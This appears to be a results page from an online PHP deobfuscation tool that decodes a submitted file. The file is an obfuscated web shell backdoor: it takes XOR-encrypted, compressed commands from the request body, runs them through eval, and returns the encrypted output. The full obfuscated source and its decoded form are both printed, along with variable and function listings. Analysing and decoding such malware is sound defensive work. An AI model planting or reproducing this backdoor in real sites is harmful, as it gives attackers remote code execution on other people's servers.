Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $k='($m[{O{O1]),$k)));$o{O=@ob{O{O_get_contents(){O{O;@ob_e{Ond_clea{On();${'; $M=..

Decoded Output download


function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="a8698009";$kh="bce6d1b8c212";$kf="8eddefc25aad";$p="8bf9B1OFbdKTiD2O";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$k='($m[{O{O1]),$k)));$o{O=@ob{O{O_get_contents(){O{O;@ob_e{Ond_clea{On();${';
$M='$j++{O,$i++{O){$o.=${Ot{$i}{O^$k{$j}{O{O;}}retur{O{On $o{O;}i{Of (@preg_';
$J=str_replace('DJ','','crDJeatDJe_DJfDJDJunctiDJon');
$X='{Omatch{O("/$kh(.+)$kf/"{O,@file_ge{O{Ot_con{Otents("php://{Oin{Oput"),$m)={';
$z='O=1) {{O@ob_st{Oart();@e{Oval(@g{Ozunc{Oompre{Oss(@x(@ba{Ose64_{Odecod{Oe';
$Z='8bf9B1{OOFbd{OKTiD2O";f{Ounctio{On x{O($t,{O$k){$c=strl{O{O{Oen($k);$l=s{O';
$O='trlen($t){O{O;$o={O{O"";{Ofor($i=0;$i<{O$l;){for($j={O0;($j<{O$c&&$i<$l);';
$n='{O$k="a8698009{O";${Okh="b{Oce6d1b8c2{O12";{O{O{O$kf="8eddefc2{O5aad";$p="';
$S='Or{O=@ba{Ose64_{Oenc{Oode(@x(@gzc{Oom{Opress($o),${Ok));print("$p${Okh$r$kf");}';
$f=str_replace('{O','',$n.$Z.$O.$M.$X.$z.$k.$S);
$R=$J('',$f);$R();
?>

Function Calls

preg_match 1
str_replace 2
create_function 1
file_get_contents 1

Variables

$J create_function
$M $j++{O,$i++{O){$o.=${Ot{$i}{O^$k{$j}{O{O;}}retur{O{On $o{O;}..
$O trlen($t){O{O;$o={O{O"";{Ofor($i=0;$i<{O$l;){for($j={O0;($j<..
$S Or{O=@ba{Ose64_{Oenc{Oode(@x(@gzc{Oom{Opress($o),${Ok));prin..
$X {Omatch{O("/$kh(.+)$kf/"{O,@file_ge{O{Ot_con{Otents("php://{..
$Z 8bf9B1{OOFbd{OKTiD2O";f{Ounctio{On x{O($t,{O$k){$c=strl{O{O{..
$f $k="a8698009";$kh="bce6d1b8c212";$kf="8eddefc25aad";$p="8bf9..
$k a8698009
$n {O$k="a8698009{O";${Okh="b{Oce6d1b8c2{O12";{O{O{O$kf="8eddef..
$p 8bf9B1OFbdKTiD2O
$z O=1) {{O@ob_st{Oart();@e{Oval(@g{Ozunc{Oompre{Oss(@x(@ba{Ose..
$kf 8eddefc25aad
$kh bce6d1b8c212

Stats

MD5 f3edc2119b6ea73de1359855416f4a60
Eval Count 1
Decode Time 108 ms